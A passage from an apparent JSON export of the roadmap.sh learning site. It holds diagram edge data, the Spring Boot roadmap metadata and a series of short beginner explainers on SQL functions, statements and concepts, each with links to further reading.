\"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__7Qqrh_Rz_7uAD49g9sDziy2-_vS_zdJZegZS6MIKAFyg8z1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"S-BbOoRD7anvoJrprjoKF\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"sgA06Tu9Y4cEHtfI8CyLL\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__7Qqrh_Rz_7uAD49g9sDziy2-sgA06Tu9Y4cEHtfI8CyLLz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"S-BbOoRD7anvoJrprjoKF\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"35NTx2eO1j02sjy4m6DPq\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__7Qqrh_Rz_7uAD49g9sDziy2-i77NTa0hpGGBjmql9u_CTz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"S-BbOoRD7anvoJrprjoKF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"7Qqrh_Rz_7uAD49g9sDzi\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__S-BbOoRD7anvoJrprjoKFx2-7Qqrh_Rz_7uAD49g9sDziw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7Qqrh_Rz_7uAD49g9sDzi\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"i77NTa0hpGGBjmql9u_CT\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__7Qqrh_Rz_7uAD49g9sDziz2-i77NTa0hpGGBjmql9u_CTy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7Qqrh_Rz_7uAD49g9sDzi\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"p91CaVPh5GMzFU0yEU_hl\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__7Qqrh_Rz_7uAD49g9sDziz2-p91CaVPh5GMzFU0yEU_hly1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7Qqrh_Rz_7uAD49g9sDzi\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Nhx2QiSD_4pVWD17lsCbu\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__7Qqrh_Rz_7uAD49g9sDziz2-Nhx2QiSD_4pVWD17lsCbuy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7Qqrh_Rz_7uAD49g9sDzi\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"O5dely89N5UCMBeUfh8ud\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__7Qqrh_Rz_7uAD49g9sDzix2-O5dely89N5UCMBeUfh8udw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    }\n  ]\n}\n"
  },
  {
    "path": "src/data/roadmaps/spring-boot/spring-boot.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/spring-boot.json'\npdfUrl: '/pdfs/roadmaps/spring-boot.pdf'\norder: 10\nbriefTitle: 'Spring Boot'\nbriefDescription: 'Step by step guide to becoming a Spring Boot Developer in 2025'\ntitle: 'Spring Boot Developer'\ndescription: 'Step by step guide to becoming a Spring Boot developer in 2025'\nrenderer: 'editor'\nhasTopics: true\nisNew: false\ndimensions:\n  width: 968\n  height: 1750\ncourses:\n  - title: 'Complete Course to Master SQL'\n    description: 'Learn SQL from scratch with this comprehensive course'\n    link: 'https://roadmap.sh/courses/sql'\n    features:\n      - '55+ Lessons'\n      - 'AI Tutor'\n      - 'Coding Environment'\n      - 'Quizzes'\n      - 'Certification'\n    instructor:\n      name: 'Kamran Ahmed'\n      image: 'https://github.com/kamranahmedse.png'\n      title: 'Founder - roadmap.sh'\nschema:\n  headline: 'Spring Boot Roadmap'\n  description: 'Learn Spring Boot with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/spring-boot.png'\n  datePublished: '2023-01-05'\n  dateModified: '2023-01-20'\nseo:\n  title: 'Spring Boot Roadmap'\n  description: 'Community driven, articles, resources, guides, interview questions, quizzes for spring boot development. Learn to become a modern Spring Boot developer by following the steps, skills, resources and guides listed in this roadmap.'\n  keywords:\n    - 'guide to becoming a spring boot developer'\n    - 'guide to spring boot'\n    - 'spring boot developer'\n    - 'spring boot engineer'\n    - 'spring boot guide'\n    - 'spring boot roadmap'\n    - 'spring boot roadmap 2024'\n    - 'spring boot roadmap 2025'\n    - 'spring boot skills'\n    - 'spring boot skills test'\n    - 'spring boot quiz'\n    - 'spring boot interview questions'\n    - 'spring boot engineer roadmap'\n    - 'spring boot developer roadmap'\n    - 'become a spring boot developer'\n    - 'spring boot developer career path'\n    - 'modern spring boot developer'\n    - 'skills for spring boot'\n    - 'cloud development'\n    - 'what is spring boot'\nrelatedRoadmaps:\n  - 'backend'\n  - 'java'\n  - 'devops'\n  - 'python'\n  - 'golang'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/sql/content/abs@6vYFb_D1N_-tLWZftL-Az.md",
    "content": "# ABS\n\nThe `ABS()` function in SQL returns the absolute value of a given numeric expression, meaning it converts any negative number to its positive equivalent while leaving positive numbers unchanged. This function is useful when you need to ensure that the result of a calculation or a value stored in a database column is non-negative, such as when calculating distances, differences, or other metrics where only positive values make sense. For example, `SELECT ABS(-5)` would return `5`.\n\nVisit the following resources to learn more:\n\n- [@article@How to compute an absolute value in SQL](https://www.airops.com/sql-guide/how-to-compute-an-absolute-value-in-sql)\n- [@article@ABS](https://www.w3schools.com/sql/func_sqlserver_abs.asp)"
  },
  {
    "path": "src/data/roadmaps/sql/content/acid@igg34gLPl3HYVAmRNFGcV.md",
    "content": "# ACID\n\nACID are the four properties of relational database systems that help in making sure that we are able to perform the transactions in a reliable manner. It's an acronym which refers to the presence of four properties: atomicity, consistency, isolation and durability\n\nVisit the following resources to learn more:\n\n- [@article@What is ACID Compliant Database?](https://retool.com/blog/whats-an-acid-compliant-database/)\n- [@article@What is ACID Compliance?: Atomicity, Consistency, Isolation](https://fauna.com/blog/what-is-acid-compliance-atomicity-consistency-isolation)\n- [@video@ACID Explained: Atomic, Consistent, Isolated & Durable](https://www.youtube.com/watch?v=yaQ5YMWkxq4)"
  },
  {
    "path": "src/data/roadmaps/sql/content/advanced-functions@vTMd0bqz4eTgLnhfgY61h.md",
    "content": "# Advanced Functions\n\nAdvanced functions in SQL go beyond the basic operations like selecting and filtering data. These functions allow you to perform complex calculations, manipulate strings, work with dates, and analyze data in more sophisticated ways. They help you derive insights, transform data, and create more meaningful reports from your database."
  },
  {
    "path": "src/data/roadmaps/sql/content/advanced-sql@UDqbT1y-YzBrljfKSz_RG.md",
    "content": "# Advanced SQL Concepts\n\nAdvanced SQL concepts encompass a wide range of sophisticated techniques and features that go beyond basic querying and data manipulation. These include complex joins, subqueries, window functions, stored procedures, triggers, and advanced indexing strategies. By mastering these concepts, database professionals can optimize query performance, implement complex business logic, ensure data integrity, and perform advanced data analysis, enabling them to tackle more challenging database management and data processing tasks in large-scale, enterprise-level applications."
  },
  {
    "path": "src/data/roadmaps/sql/content/aggregate-queries@LX9nzJ4uqznHN4SksoDvr.md",
    "content": "# Aggregate Queries\n\nAggregate queries in SQL are used to calculate summary values from multiple rows of a table, reducing the data to a single row based on a specific calculation. These calculations provide insights like totals, averages, and counts. Commonly used aggregate functions include `COUNT()` to count rows, `SUM()` to add values, `AVG()` to calculate the average, `MIN()` to find the minimum value, and `MAX()` to find the maximum value within a group of rows."
  },
  {
    "path": "src/data/roadmaps/sql/content/alter-table@WjXlO42WL9saDS7RIGapt.md",
    "content": "# Alter Table\n\nThe `ALTER TABLE` statement in SQL is used to modify the structure of an existing table. This includes adding, dropping, or modifying columns, changing the data type of a column, setting default values, and adding or dropping primary or foreign keys.\n\nVisit the following resources to learn more:\n\n- [@article@ALTER TABLE Statement](https://www.techonthenet.com/sql/tables/alter_table.php)\n- [@article@ALTER TABLE - PostgreSQL](https://www.postgresqltutorial.com/postgresql-tutorial/postgresql-alter-table/)"
  },
  {
    "path": "src/data/roadmaps/sql/content/avg@Wou6YXLYUgomvcELh851L.md",
    "content": "# AVG\n\nThe `AVG()` function in SQL is an aggregate function that calculates the average value of a numeric column. It returns the sum of all the values in the column, divided by the count of those values.\n\nVisit the following resources to learn more:\n\n- [@article@AVG](https://www.sqlshack.com/sql-avg-function-introduction-and-examples/)\n- [@article@SQL AVG() Function](https://www.w3schools.com/sql/sql_avg.asp)"
  },
  {
    "path": "src/data/roadmaps/sql/content/basic-sql-syntax@JDDG4KfhtIlw1rkNCzUli.md",
    "content": "# Basic SQL Syntax\n\nBasic SQL syntax consists of straightforward commands that allow users to interact with a relational database. The core commands include `SELECT` for querying data, `INSERT INTO` for adding new records, `UPDATE` for modifying existing data, and `DELETE` for removing records. Queries can be filtered using `WHERE`, sorted with `ORDER BY`, and data from multiple tables can be combined using `JOIN`. These commands form the foundation of SQL, enabling efficient data manipulation and retrieval within a database.\n\nVisit the following resources to learn more:\n\n- [@article@SQL Tutorial - Mode](https://mode.com/sql-tutorial/)\n- [@article@SQL Tutorial](https://www.sqltutorial.org/)"
  },
  {
    "path": "src/data/roadmaps/sql/content/begin@7sTW1vwUhCFOMXYjScVEt.md",
    "content": "# BEGIN\n\n`BEGIN` is used in SQL to start a transaction, which is a sequence of one or more SQL operations that are executed as a single unit. A transaction ensures that all operations within it are completed successfully before any changes are committed to the database. If any part of the transaction fails, the `ROLLBACK` command can be used to undo all changes made during the transaction, maintaining the integrity of the database. Once all operations are successfully completed, the `COMMIT` command is used to save the changes. Transactions are crucial for maintaining data consistency and handling errors effectively.\n\nVisit the following resources to learn more:\n\n- [@article@BEGIN...END Statement](https://infocenter.sybase.com/help/index.jsp?topic=/com.sybase.infocenter.dc00801.1510/html/iqrefso/BABFBJAB.htm)\n- [@article@SQL 'BEGIN' & 'END' Statements](https://reintech.io/blog/understanding-sql-begin-end-statements-guide)"
  },
  {
    "path": "src/data/roadmaps/sql/content/case@W2ePJHdfEiEJ3ZKoRQKt_.md",
    "content": "# CASE\n\nThe CASE statement in SQL is used to create conditional logic within a query, allowing you to perform different actions based on specific conditions. It operates like an if-else statement, returning different values depending on the outcome of each condition. The syntax typically involves specifying one or more WHEN conditions, followed by the result for each condition, and an optional ELSE clause for a default outcome if none of the conditions are met.\n\nVisit the following resources to learn more:\n\n- [@article@SQL CASE - Intermediate SQL](https://mode.com/sql-tutorial/sql-case)"
  },
  {
    "path": "src/data/roadmaps/sql/content/ceiling@BAqJQvcguhIhzyII5LRH6.md",
    "content": "# CEILING\n\nThe `CEILING()` function in SQL returns the smallest integer greater than or equal to a given numeric value. It's useful when you need to round up a number to the nearest whole number, regardless of whether the number is already an integer or a decimal. For example, `CEILING(4.2)` would return `5`, and `CEILING(-4.7)` would return `-4`. This function is commonly used in scenarios where rounding up is necessary, such as calculating the number of pages needed to display a certain number of items when each page has a fixed capacity.\n\nVisit the following resources to learn more:\n\n- [@article@SQL CEILING](https://www.w3schools.com/sql/func_sqlserver_ceiling.asp)"
  },
  {
    "path": "src/data/roadmaps/sql/content/check@Q0h9Wfnl_W9ThOkv7Q17A.md",
    "content": "# CHECK\n\nA `CHECK` constraint in SQL is used to enforce data integrity by specifying a condition that must be true for each row in a table. It allows you to define custom rules or restrictions on the values that can be inserted or updated in one or more columns. `CHECK` constraints help maintain data quality by preventing invalid or inconsistent data from being added to the database, ensuring that only data meeting specified criteria is accepted.\n\nVisit the following resources to learn more:\n\n- [@video@CHECK Constraint](https://www.youtube.com/watch?v=EeG2boJCXbc)"
  },
  {
    "path": "src/data/roadmaps/sql/content/coalesce@k7lZe4QRt9q4InUImFmvx.md",
    "content": "# COALESCE\n\n`COALESCE` is an SQL function that returns the first non-null value in a list of expressions. It's commonly used to handle null values or provide default values in queries. `COALESCE` evaluates its arguments in order and returns the first non-null result, making it useful for data cleaning, report generation, and simplifying complex conditional logic in SQL statements.\n\nVisit the following resources to learn more:\n\n- [@article@How to use the COALESCE function in SQL](https://learnsql.com/blog/coalesce-function-sql/)\n- [@article@COALESCE - PostgreSQL](https://www.postgresqltutorial.com/postgresql-tutorial/postgresql-coalesce/)"
  },
  {
    "path": "src/data/roadmaps/sql/content/column@wmtt-3auWLdQWuVdwZLPd.md",
    "content": "# Column\n\nIn SQL, columns are used to categorize the data in a table. A column serves as a structure that stores a specific type of data (ints, str, bool, etc.) in a table. Each column in a table is designed with a type, which configures the data that it can hold. Using the right column types and size can help to maintain data integrity and optimize performance.\n\nVisit the following resources to learn more:\n\n- [@article@Column Types - PostgreSQL](https://www.postgresqltutorial.com/postgresql-tutorial/postgresql-data-types/)"
  },
  {
    "path": "src/data/roadmaps/sql/content/commit@3cMECz5QPVDOFrk5duObs.md",
    "content": "# COMMIT\n\nCOMMIT is an SQL command that saves all changes made during a transaction to the database. Until a COMMIT command is issued, all modifications within a transaction are only temporary and visible to the current session. Once COMMIT is executed, the changes become permanent and visible to other users and sessions. This ensures data consistency and durability.\n\nVisit the following resources to learn more:\n\n- [@article@SQL COMMIT and ROLLBACK](https://www.digitalocean.com/community/tutorials/sql-commit-sql-rollback)"
  },
  {
    "path": "src/data/roadmaps/sql/content/common-table-expressions@tedQynR0xicVKhuR1oahw.md",
    "content": "# CTEs (Common Table Expressions)\n\nCommon Table Expressions (CTEs) in SQL are named temporary result sets that exist within the scope of a single `SELECT`, `INSERT`, `UPDATE`, `DELETE`, or `MERGE` statement. Defined using the `WITH` clause, CTEs act like virtual tables that can be referenced multiple times within a query. They improve query readability, simplify complex queries by breaking them into manageable parts, and allow for recursive queries. CTEs are particularly useful for hierarchical or graph-like data structures and can enhance query performance in some database systems.\n\nVisit the following resources to learn more:\n\n- [@article@Common Table Expressions (CTEs)](https://hightouch.com/sql-dictionary/sql-common-table-expression-cte)\n- [@article@What is a Common Table Expression?](https://learnsql.com/blog/what-is-common-table-expression/)"
  },
  {
    "path": "src/data/roadmaps/sql/content/concat@5inpEqafeVCfqsURHzQQg.md",
    "content": "# CONCAT\n\n`CONCAT` is an SQL function used to combine two or more strings into a single string. It takes multiple input strings as arguments and returns a new string that is the concatenation of all the input strings in the order they were provided. `CONCAT` is commonly used in `SELECT` statements to merge data from multiple columns, create custom output formats, or generate dynamic SQL statements.\n\nVisit the following resources to learn more:\n\n- [@article@An overview of the CONCAT function in SQL](https://www.sqlshack.com/an-overview-of-the-concat-function-in-sql-with-examples/)"
  },
  {
    "path": "src/data/roadmaps/sql/content/correlated-subqueries@JZqS3Xapw6mfSPVgFW7av.md",
    "content": "# Correlated Subqueries\n\nIn SQL, a correlated subquery is a subquery that uses values from the outer query in its `WHERE` clause. The correlated subquery is evaluated once for each row processed by the outer query. It exists because it depends on the outer query and it cannot execute independently of the outer query because the subquery is correlated with the outer query as it uses its column in its `WHERE` clause.\n\nVisit the following resources to learn more:\n\n- [@official@Correlated Subqueries](https://dev.mysql.com/doc/refman/8.4/en/correlated-subqueries.html)\n- [@video@Intro To Subqueries](https://www.youtube.com/watch?v=TUxadt94L0M)"
  },
  {
    "path": "src/data/roadmaps/sql/content/count@9aHYrOQDkA84tlxcVK5aD.md",
    "content": "# COUNT\n\n`COUNT` is an SQL aggregate function that returns the number of rows that match the specified criteria. It can be used to count all rows in a table, non-null values in a specific column, or rows that meet certain conditions when combined with a `WHERE` clause. `COUNT` is often used in data analysis, reporting, and performance optimization queries to determine the size of datasets or the frequency of particular values.\n\nVisit the following resources to learn more:\n\n- [@article@COUNT SQL Function](https://www.datacamp.com/tutorial/count-sql-function)"
  },
  {
    "path": "src/data/roadmaps/sql/content/create-table@epEpBxRosLhuAuKwp823r.md",
    "content": "# Create Table\n\n`CREATE TABLE` is an SQL statement used to define and create a new table in a database. It specifies the table name, column names, data types, and optional constraints such as primary keys, foreign keys, and default values. This statement establishes the structure of the table, defining how data will be stored and organized within it. `CREATE TABLE` is a fundamental command in database management, essential for setting up the schema of a database and preparing it to store data.\n\nVisit the following resources to learn more:\n\n- [@article@CREATE TABLE](https://www.tutorialspoint.com/sql/sql-create-table.htm)\n- [@article@SQL CREATE TABLE](https://www.programiz.com/sql/create-table)"
  },
  {
    "path": "src/data/roadmaps/sql/content/creating-views@PcsGK4VBh0zNQIPZvNES4.md",
    "content": "# Creating Views\n\nCreating views in SQL involves using the `CREATE VIEW` statement to define a virtual table based on the result of a `SELECT` query. Views don't store data themselves but provide a way to present data from one or more tables in a specific format. They can simplify complex queries, enhance data security by restricting access to underlying tables, and provide a consistent interface for querying frequently used data combinations. Views can be queried like regular tables and are often used to encapsulate business logic or present data in a more user-friendly manner.\n\nVisit the following resources to learn more:\n\n- [@article@How to create a view in SQL](https://www.sqlshack.com/how-to-create-a-view-in-sql-server/)\n- [@video@SQL Views in 4 minutes](https://www.youtube.com/watch?v=vLLkNI-vkV8)"
  },
  {
    "path": "src/data/roadmaps/sql/content/cross-join@7ow6tiSSCnTpv_GYQU017.md",
    "content": "# Cross Join\n\nA Cross Join produces a result set that is the number of rows in the first table multiplied by the number of rows in the second table. If a WHERE clause is used in conjunction with a CROSS JOIN, it functions like an INNER JOIN. However, using an INNER JOIN is generally preferred to using a CROSS JOIN with a WHERE clause for readability and performance reasons. It essentially creates all possible combinations of rows from the tables involved.\n\nVisit the following resources to learn more:\n\n- [@article@SQL CROSS JOIN With Examples](https://www.sqlshack.com/sql-cross-join-with-examples/)"
  },
  {
    "path": "src/data/roadmaps/sql/content/data-constraints@qBios3sZVhcJMpXmj9f7B.md",
    "content": "# Data Constraints\n\nData constraints in SQL are rules applied to columns or tables to enforce data integrity and consistency. They include primary key, foreign key, unique, check, and not null constraints. These constraints define limitations on the data that can be inserted, updated, or deleted in a database, ensuring that the data meets specific criteria and maintains relationships between tables. By implementing data constraints, database designers can prevent invalid data entry, maintain referential integrity, and enforce business rules directly at the database level.\n\nVisit the following resources to learn more:\n\n- [@article@SQL Constraints](https://www.programiz.com/sql/constraints)"
  },
  {
    "path": "src/data/roadmaps/sql/content/data-definition-language-ddl@xPOeXK1EPBNG56vgfG-VV.md",
    "content": "# Data Definition Language (DDL)\n\nData Definition Language (DDL) is a subset of SQL used to define and manage the structure of database objects. DDL commands include `CREATE`, `ALTER`, `DROP`, and `TRUNCATE`, which are used to create, modify, delete, and empty database structures such as tables, indexes, views, and schemas. These commands allow database administrators and developers to define the database schema, set up relationships between tables, and manage the overall structure of the database. DDL statements typically result in immediate changes to the database structure and can affect existing data.\n\nVisit the following resources to learn more:\n\n- [@article@Data Definition Language (DDL)](https://docs.getdbt.com/terms/ddl)\n- [@article@The Definitive Guide on Data Definition Language](https://www.dbvis.com/thetable/sql-ddl-the-definitive-guide-on-data-definition-language/)"
  },
  {
    "path": "src/data/roadmaps/sql/content/data-integrity--security@R1ktDJpXOz0PTllAcBrdu.md",
    "content": "# Data Integrity & Security\n\nData integrity ensures that the information stored in a database is accurate, consistent, and reliable over its entire lifecycle. Data security involves protecting the database from unauthorized access, modification, or deletion. These two concepts are essential for maintaining the trust and value of any database system, safeguarding against corruption, breaches, and ensuring data is used appropriately."
  },
  {
    "path": "src/data/roadmaps/sql/content/data-integrity-constraints@mBQ3Z8GlFcpIena3IB7D_.md",
    "content": "# Data Integrity Constraints\n\nData integrity constraints are rules you set up in a database to make sure the data is accurate and reliable. These rules prevent bad data from being entered into tables. Think of them as checks and balances that maintain the quality of your information by enforcing specific criteria like uniqueness, valid ranges, or required values.\n\nVisit the following resources to learn more:\n\n- [@article@Integrity Constraints in SQL: A Guide With Examples](https://www.datacamp.com/tutorial/integrity-constraints-sql)\n- [@article@Integrity Constraints](https://dataheadhunters.com/academy/integrity-constraints-ensuring-accuracy-and-consistency-in-your-data/)"
  },
  {
    "path": "src/data/roadmaps/sql/content/data-manipulation-language-dml@WMSXi-eez_hHGDM8kUdWz.md",
    "content": "# Data Manipulation Language (DML)\n\nData Manipulation Language (DML) is a subset of SQL used to manage data within database objects. It includes commands like `SELECT`, `INSERT`, `UPDATE`, and `DELETE`, which allow users to retrieve, add, modify, and remove data from tables. DML statements operate on the data itself rather than the database structure, enabling users to interact with the stored information. These commands are essential for day-to-day database operations, data analysis, and maintaining the accuracy and relevance of the data within a database system.\n\nVisit the following resources to learn more:\n\n- [@article@What is DML?](https://satoricyber.com/glossary/dml-data-manipulation-language)\n- [@article@What is DML?(Wiki)](https://en.wikipedia.org/wiki/Data_manipulation_language)\n- [@article@Difference Between DDL & DML](https://appmaster.io/blog/difference-between-ddl-and-dml)"
  },
  {
    "path": "src/data/roadmaps/sql/content/data-types@tBzMDfCMh6MIagNaxCzin.md",
    "content": "# Data Types\n\nSQL data types define the kind of values that can be stored in a column and determine how the data is stored, processed, and retrieved. Common data types include numeric types (`INTEGER`, `DECIMAL`), character types (`CHAR`, `VARCHAR`), date and time types (`DATE`, `TIMESTAMP`), binary types (`BLOB`), and boolean types. Each database management system may have its own specific set of data types with slight variations. Choosing the appropriate data type for each column is crucial for optimizing storage, ensuring data integrity, and improving query performance.\n\nVisit the following resources to learn more:\n\n- [@article@SQL Data Types](https://www.digitalocean.com/community/tutorials/sql-data-types)\n- [@video@MySQL 101 - Data Types](https://www.youtube.com/watch?v=vAiBa69YCnk)"
  },
  {
    "path": "src/data/roadmaps/sql/content/date@Ivqo2wa-_NhGU3vGd0pUI.md",
    "content": "# DATE\n\nThe DATE data type in SQL is used to store calendar dates (typically in the format YYYY-MM-DD). It represents a specific day without any time information. DATE columns are commonly used for storing birthdates, event dates, or any other data that requires only day-level precision. SQL provides various functions to manipulate and format DATE values, allowing for date arithmetic, extraction of date components, and comparison between dates. The exact range of valid dates may vary depending on the specific database management system being used.\n\nVisit the following resources to learn more:\n\n- [@video@Working with Dates](https://www.youtube.com/watch?v=XyZ9HwXoR7o)"
  },
  {
    "path": "src/data/roadmaps/sql/content/dateadd@1E1WdWOyqxbbdiIbw26dZ.md",
    "content": "# DATEADD\n\n`DATEADD` is an SQL function used to add or subtract a specified time interval to a date or datetime value. It typically takes three arguments: the interval type (e.g., day, month, year), the number of intervals to add or subtract, and the date to modify. This function is useful for date calculations, such as finding future or past dates, calculating durations, or generating date ranges. The exact syntax and name of this function may vary slightly between different database management systems (e.g., `DATEADD` in SQL Server, `DATE_ADD` in MySQL).\n\nVisit the following resources to learn more:\n\n- [@article@DATEADD](https://www.mssqltips.com/sqlservertutorial/9380/sql-dateadd-function/)\n- [@video@DATEADD Function](https://www.youtube.com/watch?v=DYCWOzzOycU)"
  },
  {
    "path": "src/data/roadmaps/sql/content/datepart@BJ4fQvagTO0B5UtXblyx8.md",
    "content": "# DATEPART\n\n`DATEPART` is a useful function in SQL that allows you to extract a specific part of a date or time field. You can use it to get the year, quarter, month, day of the year, day, week, weekday, hour, minute, second, or millisecond from any date or time expression.\n\nVisit the following resources to learn more:\n\n- [@article@SQL DATEPART](https://hightouch.com/sql-dictionary/sql-datepart)"
  },
  {
    "path": "src/data/roadmaps/sql/content/db-security-best-practices@vhBZqqmUcEon6-Vwvla4q.md",
    "content": "# DB Security Best Practices\n\nDatabase security best practices are a collection of methods used to protect sensitive data from unauthorized access, modification, or deletion. They involve implementing access controls based on the least privilege principle, routinely updating systems, using strong passwords, limiting remote access, avoiding the admin account for everyday tasks, encrypting communication, performing regular backups, monitoring and auditing database operations, performing vulnerability scanning, and guarding against SQL injection attacks by using parameterized queries or prepared statements.\n\nVisit the following resources to learn more:\n\n- [@article@What is database security?](https://azure.microsoft.com/en-us/resources/cloud-computing-dictionary/what-is-database-security)"
  },
  {
    "path": "src/data/roadmaps/sql/content/delete@ddtVaA4Ls6qRj-7OtTSIH.md",
    "content": "# DELETE Statement\n\nThe DELETE statement removes rows from a table. You specify which table to remove data from and can use a WHERE clause to filter which rows should be deleted based on specific conditions. If no WHERE clause is provided, all rows in the table will be deleted.\n\nVisit the following resources to learn more:\n\n- [@article@DELETE](https://www.w3schools.com/sql/sql_delete.asp)"
  },
  {
    "path": "src/data/roadmaps/sql/content/delete@zWnvuHJLHr03PWkrW1wZZ.md",
    "content": "# DELETE Statement in SQL\n\nThe `DELETE` statement in SQL removes existing records from a table. You specify which table to affect and can optionally include a `WHERE` clause to specify conditions for which rows should be deleted. If no `WHERE` clause is provided, all rows in the table will be deleted. It modifies the data within the database by removing entire rows based on the given criteria.\n\nVisit the following resources to learn more:\n\n- [@article@DELETE](https://www.w3schools.com/sql/sql_delete.asp)"
  },
  {
    "path": "src/data/roadmaps/sql/content/dense_rank@QM0ltgPu8lLLYc2MsTLj-.md",
    "content": "# dense_rank\n\n`dense_rank` is a window function that assigns a rank to each row within a partition of a result set, based on the order of rows. Unlike the `rank` function, `dense_rank` assigns consecutive ranks without gaps, even when there are ties in the ordering criteria. This means that if two or more rows have the same value for the ordering column(s), they will receive the same rank, and the next rank assigned will be the next consecutive integer, without skipping any numbers.\n\nVisit the following resources to learn more:\n\n- [@article@SQL DENSE_RANK](https://www.sqltutorial.org/sql-window-functions/sql-dense_rank/)\n- [@article@Breaking Down DENSE_RANK](https://www.kdnuggets.com/breaking-down-denserank-a-step-by-step-guide-for-sql-enthusiasts)"
  },
  {
    "path": "src/data/roadmaps/sql/content/drop-table@YzJ6QmY2arMfRzMAPaI0T.md",
    "content": "# Drop Table\n\nThe `DROP TABLE` statement removes a table and its data entirely from a database. It's a permanent operation; once a table is dropped, its structure and all the data it contained are lost unless you have a backup. This command should be used with caution, as it can have significant consequences for your database.\n\nVisit the following resources to learn more:\n\n- [@article@Drop a Table](https://www.coginiti.co/tutorials/beginner/drop-a-table/)"
  },
  {
    "path": "src/data/roadmaps/sql/content/dropping-views@MIOuWWcCjLAmgzog2DBC3.md",
    "content": "# Dropping Views\n\nDropping views in SQL involves using the `DROP VIEW` statement to remove an existing view from the database. This operation permanently deletes the view definition, but it doesn't affect the underlying tables from which the view was created. Dropping a view is typically done when the view is no longer needed, needs to be replaced with a different definition, or as part of database maintenance. It's important to note that dropping a view can impact other database objects or applications that depend on it, so caution should be exercised when performing this operation.\n\nVisit the following resources to learn more:\n\n- [@article@DROP VIEW](https://study.com/academy/lesson/sql-drop-view-tutorial-overview.html)\n- [@article@DROP or DELETE a View](https://www.tutorialspoint.com/sql/sql-drop-view.htm)"
  },
  {
    "path": "src/data/roadmaps/sql/content/dynamic-sql@z5Sf0VU14ZCQ80kL1qOqc.md",
    "content": "# Dynamic SQL\n\nDynamic SQL refers to the ability to construct and execute SQL statements programmatically during runtime. Instead of writing static SQL queries directly into your code, you can build SQL strings based on varying conditions, user inputs, or other dynamic factors. This allows for more flexible and adaptable database interactions, enabling you to generate queries tailored to specific situations that cannot be known in advance.\n\nVisit the following resources to learn more:\n\n- [@article@Dynamic SQL in SQL Server](https://www.sqlshack.com/dynamic-sql-in-sql-server/)\n- [@video@Dynamic SQL](https://www.youtube.com/watch?v=01LZMCotcpY)"
  },
  {
    "path": "src/data/roadmaps/sql/content/floor@o2SH4iQn1Ap2yDZ7cVYLO.md",
    "content": "# FLOOR\n\nFLOOR is a numeric function that returns the largest integer value that is less than or equal to a given number. Effectively, it rounds a number *down* to the nearest whole number. For instance, FLOOR(7.9) would return 7, and FLOOR(-7.1) would return -8.\n\nVisit the following resources to learn more:\n\n- [@video@How to Round in SQL](https://www.youtube.com/watch?v=AUXw2JRwCFY)"
  },
  {
    "path": "src/data/roadmaps/sql/content/foreign-key@DHz6sRLYhFeCbAcNJS8hm.md",
